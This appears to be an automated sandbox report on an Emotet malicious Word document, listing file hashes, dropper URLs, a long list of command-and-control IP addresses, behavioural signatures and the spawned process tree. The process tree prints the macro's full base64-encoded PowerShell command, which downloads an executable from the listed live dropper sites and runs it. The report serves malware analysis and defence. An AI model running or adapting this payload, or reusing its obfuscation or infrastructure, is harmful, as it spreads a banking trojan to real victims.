emotet | f44dd13130ee8c9cdcd244b1ee5865a7c38592a15b2a54dbb15c8caf571b76cb

Analysis

max time kernel
140s
max time network
140s
platform
windows10_x64
resource
win10v200722
submitted
23/09/2020, 15:08

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General

Target
emotet_e1_f44dd13130ee8c9cdcd244b1ee5865a7c38592a15b2a54dbb15c8caf571b76cb_2020-09-23__150643772855._doc.doc
Size 161KB
Sample200923-spz4x2facx
SHA256 f44dd13130ee8c9cdcd244b1ee5865a7c38592a15b2a54dbb15c8caf571b76cb
MD5 14693a38e738e401091903953774b0c6
SHA1 d063229f5ffcc1481f462149929a88129eb862b0
SHA512 f641ba051b552636c9d194f4f7e1721b4889895828204492150f7a38ce740b085dbdffd0251e99f88393753c83c34aa512eebe722bc937c051c7739ab9be6b13
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://khobormalda.com/wp-content/82/
exe.dropper
http://blog.zunapro.com/wp-admin/LEE/
exe.dropper
http://megasolucoesti.com/R9KDq0O8w/Y/
exe.dropper
https://online24h.biz/wp-admin/K/
exe.dropper
https://fepami.com/wp-includes/eaI/
exe.dropper
http://ora-ks.com/system/cache/w/
exe.dropper
http://padamagro.com/wp-admin/Nc/

Extracted

Family

emotet

70.116.143.84:80
51.75.33.127:80
37.157.196.117:7080
116.202.23.3:8080
187.162.248.237:80
204.225.249.100:7080
67.247.242.247:80
192.241.146.84:8080
178.250.54.208:8080
188.135.15.49:80
77.238.212.227:80
152.169.22.67:80
186.103.141.250:443
82.76.111.249:443
213.197.182.158:8080
201.213.177.139:80
74.136.144.133:80
72.47.248.48:7080
51.38.124.206:80
190.24.243.186:80
174.113.69.136:80
192.81.38.31:80
68.69.155.181:80
45.16.226.117:443
111.67.12.221:8080
83.169.21.32:7080
82.230.1.24:80
51.255.165.160:8080
70.32.115.157:8080
61.92.159.208:8080
191.182.6.118:80
77.90.136.129:8080
181.129.96.162:8080
45.46.37.97:80
68.183.170.114:8080
190.117.79.209:80
192.241.143.52:8080
65.36.62.20:80
185.94.252.27:443
96.245.123.149:80
185.215.227.107:443
70.32.84.74:8080
190.2.31.172:80
104.131.41.185:8080
189.2.177.210:443
190.163.31.26:80
92.24.50.153:80
185.183.16.47:80
119.106.216.84:80
60.108.144.104:443
177.129.17.170:443
186.70.127.199:8090
104.131.103.37:8080
80.11.164.185:80
212.71.237.140:8080
185.94.252.12:80
1.226.84.243:8080
177.74.228.34:80
111.67.77.202:8080
199.203.62.165:80
5.196.35.138:7080
217.199.160.224:7080
91.105.94.200:80
190.115.18.139:8080
220.109.145.69:80
138.97.60.141:7080
60.93.23.51:80
74.58.215.226:80
78.249.119.122:80
5.189.178.202:8080
219.92.13.25:80
38.88.126.202:8080
96.227.52.8:443
64.201.88.132:80
181.30.61.163:443
95.9.180.128:80
177.73.0.98:443
202.4.58.197:80
209.236.123.42:8080
61.197.92.216:80
170.81.48.2:80
51.159.23.217:443
123.51.47.18:80
12.162.84.2:8080
54.37.42.48:8080
185.232.182.218:80
87.106.46.107:8080
217.13.106.14:8080
137.74.106.111:7080
68.183.190.199:8080
51.15.7.189:80
77.106.157.34:8080
172.104.169.32:8080
190.190.148.27:8080
76.168.54.203:80
2.36.95.106:80
185.178.10.77:80
50.28.51.143:8080
35.143.99.174:80
50.121.220.50:80
45.33.77.42:8080
98.13.75.196:80
94.176.234.118:443
155.186.0.121:80
216.47.196.104:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3732	1532	POWeRsHeLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2192-15-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/2192-15-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/2192-16-0x0000000000570000-0x0000000000580000-memory.dmp	emotet
behavioral2/memory/2192-16-0x0000000000570000-0x0000000000580000-memory.dmp	emotet
behavioral2/memory/576-19-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/576-19-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/576-20-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet
behavioral2/memory/576-20-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet

Blacklisted process makes network request 4 IoCs

flow	pid	Process
23	3732	POWeRsHeLL.exe
25	3732	POWeRsHeLL.exe
27	3732	POWeRsHeLL.exe
37	3732	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2192	X9ouqft.exe
576	Windows.ApplicationModel.Wallet.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\rtmpal\Windows.ApplicationModel.Wallet.exe	X9ouqft.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3732	POWeRsHeLL.exe
3732	POWeRsHeLL.exe
3732	POWeRsHeLL.exe
576	Windows.ApplicationModel.Wallet.exe
576	Windows.ApplicationModel.Wallet.exe
576	Windows.ApplicationModel.Wallet.exe
576	Windows.ApplicationModel.Wallet.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3732	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE
3888	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3732 wrote to memory of 2192	3732	POWeRsHeLL.exe	79
PID 3732 wrote to memory of 2192	3732	POWeRsHeLL.exe	79
PID 3732 wrote to memory of 2192	3732	POWeRsHeLL.exe	79
PID 2192 wrote to memory of 576	2192	X9ouqft.exe	80
PID 2192 wrote to memory of 576	2192	X9ouqft.exe	80
PID 2192 wrote to memory of 576	2192	X9ouqft.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_f44dd13130ee8c9cdcd244b1ee5865a7c38592a15b2a54dbb15c8caf571b76cb_2020-09-23__150643772855._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABCADQAegBtAGEAMQBiAD0AKAAoACcAVAAnACsAJwB5AHUAJwApACsAJwBhAHYAJwArACcAYwBoACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAcgBQAFIATwBGAEkAbABFAFwASAB5AHUAOQBoAFYAMwBcAE0AZgBOAFgATwAzAHcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAVQByAGkAdAB5AHAAYABSAG8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACcAKwAnACwAIAB0ACcAKQArACcAbAAnACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAFIAYwBkAHgAaQBjADgAIAA9ACAAKAAnAFgAJwArACgAJwA5AG8AJwArACcAdQAnACsAJwBxAGYAdAAnACkAKQA7ACQAQwB5AG8AdQBjAHAAZgA9ACgAJwBMAGYAJwArACgAJwB2AHAAJwArACcAbgB1AHQAJwApACkAOwAkAEUANwAyADcAMQBxAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ASAB5AHUAOQBoAHYAMwAnACsAJwB7ADAAfQBNAGYAJwArACcAbgAnACsAJwB4ACcAKwAnAG8AMwB3AHsAMAB9ACcAKQAgAC0AZgBbAGMASABhAFIAXQA5ADIAKQArACQAUgBjAGQAeABpAGMAOAArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFEAZgBoAHQAYQAzAHQAPQAoACgAJwBaACcAKwAnADAAMgBxACcAKQArACcAbwBjACcAKwAnAHIAJwApADsAJABYAGcAdAA2AGkAMwB3AD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMAbABpAGUAbgB0ADsAJABWADUAaABqAGMAeQAxAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAoACcAcAA6AC8AJwArACcALwAnACkAKwAnAGsAJwArACgAJwBoAG8AJwArACcAYgBvACcAKwAnAHIAbQAnACsAJwBhAGwAZABhACcAKQArACgAJwAuACcAKwAnAGMAbwAnACkAKwAnAG0AJwArACcALwAnACsAKAAnAHcAcAAnACsAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACcAdAAvACcAKwAnADgAJwArACcAMgAvACcAKwAnACoAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvAGIAJwApACsAKAAnAGwAJwArACcAbwBnACcAKQArACcALgB6ACcAKwAoACcAdQBuAGEAcAAnACsAJwByACcAKQArACgAJwBvAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AdwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtACcAKQArACcAaQAnACsAJwBuAC8AJwArACgAJwBMACcAKwAnAEUARQAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAbQAnACsAJwBlAGcAYQBzACcAKQArACgAJwBvAGwAdQAnACsAJwBjAG8AJwApACsAJwBlACcAKwAnAHMAJwArACgAJwB0AGkAJwArACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAUgA5ACcAKwAoACcASwBEAHEAMABPACcAKwAnADgAJwApACsAJwB3ACcAKwAnAC8AJwArACgAJwBZAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAvAG8AJwApACsAJwBuACcAKwAoACcAbABpACcAKwAnAG4AZQAyADQAaAAuACcAKQArACcAYgBpACcAKwAoACcAegAnACsAJwAvAHcAJwArACcAcAAtAGEAZABtACcAKwAnAGkAbgAvACcAKQArACcASwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwAHMAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAZgAnACsAJwBlAHAAJwArACgAJwBhAG0AJwArACcAaQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAJwApACsAJwBwAC0AJwArACgAJwBpAG4AYwAnACsAJwBsAHUAZABlACcAKwAnAHMAJwApACsAKAAnAC8AZQBhACcAKwAnAEkALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACgAJwBwADoALwAnACsAJwAvAG8AJwApACsAJwByACcAKwAnAGEAJwArACcALQAnACsAKAAnAGsAcwAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHMAJwApACsAJwB5AHMAJwArACcAdABlACcAKwAoACcAbQAvACcAKwAnAGMAYQBjACcAKQArACgAJwBoACcAKwAnAGUALwAnACkAKwAoACcAdwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcAAnACkAKwAnAGEAJwArACcAZABhACcAKwAoACcAbQAnACsAJwBhAGcAJwApACsAKAAnAHIAbwAuACcAKwAnAGMAJwArACcAbwBtAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACkAKwAnAE4AYwAnACsAJwAvACcAKQAuACIAcwBwAEwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGQAagBuAGwAcgBsAD0AKAAoACcATgB5AHUAcABzACcAKwAnADMAJwApACsAJwBiACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0ANABzAHkAaABfAGQAIABpAG4AIAAkAFYANQBoAGoAYwB5ADEAKQB7AHQAcgB5AHsAJABYAGcAdAA2AGkAMwB3AC4AIgBEAG8AdwBuAEwAYABvAEEAZABgAEYASQBgAGwARQAiACgAJABNADQAcwB5AGgAXwBkACwAIAAkAEUANwAyADcAMQBxAGMAKQA7ACQASwA1ADkAawAwAF8AdgA9ACgAKAAnAEQAXwB3ACcAKwAnAGUAeQAnACkAKwAnAHoAdAAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARQA3ADIANwAxAHEAYwApAC4AIgBMAGAARQBuAEcAVABIACIAIAAtAGcAZQAgADIANwA3ADUANgApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABFADcAMgA3ADEAcQBjACkAOwAkAFEAZgBrAGsAZwBqAGcAPQAoACcAVwAnACsAKAAnAF8AbQAnACsAJwBpACcAKQArACgAJwBkACcAKwAnADgAaAAnACkAKQA7AGIAcgBlAGEAawA7ACQASwBiAHUAZgBoADAAawA9ACgAJwBYAGgAJwArACgAJwBtADYAJwArACcAZwB4ADYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMgA2AHcAMwBiAGgAPQAoACgAJwBUACcAKwAnAHEAYwBfAGkAJwApACsAJwBlAGIAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3732
- C:\Users\Admin\Hyu9hv3\Mfnxo3w\X9ouqft.exe
  "C:\Users\Admin\Hyu9hv3\Mfnxo3w\X9ouqft.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\SysWOW64\rtmpal\Windows.ApplicationModel.Wallet.exe
    "C:\Windows\SysWOW64\rtmpal\Windows.ApplicationModel.Wallet.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/576-20-0x00000000004D0000-0x00000000004E0000-memory.dmp

Download

memory/576-19-0x00000000004B0000-0x00000000004C2000-memory.dmp

Download

memory/2192-16-0x0000000000570000-0x0000000000580000-memory.dmp

Download

memory/2192-15-0x0000000000590000-0x00000000005A2000-memory.dmp

Download

memory/3732-11-0x0000024652400000-0x0000024652401000-memory.dmp

Download

memory/3732-10-0x0000024639FA0000-0x0000024639FA1000-memory.dmp

Download

memory/3732-9-0x00007FF8B8130000-0x00007FF8B8B1C000-memory.dmp

Download

memory/3888-0-0x00007FF8BF540000-0x00007FF8BFC06000-memory.dmp

Download

memory/3888-8-0x000001BE47847000-0x000001BE47850000-memory.dmp

Download

memory/3888-7-0x000001BE47847000-0x000001BE47850000-memory.dmp

Download

memory/3888-6-0x000001BE47847000-0x000001BE47850000-memory.dmp

Download

memory/3888-5-0x000001BE47847000-0x000001BE47850000-memory.dmp

Download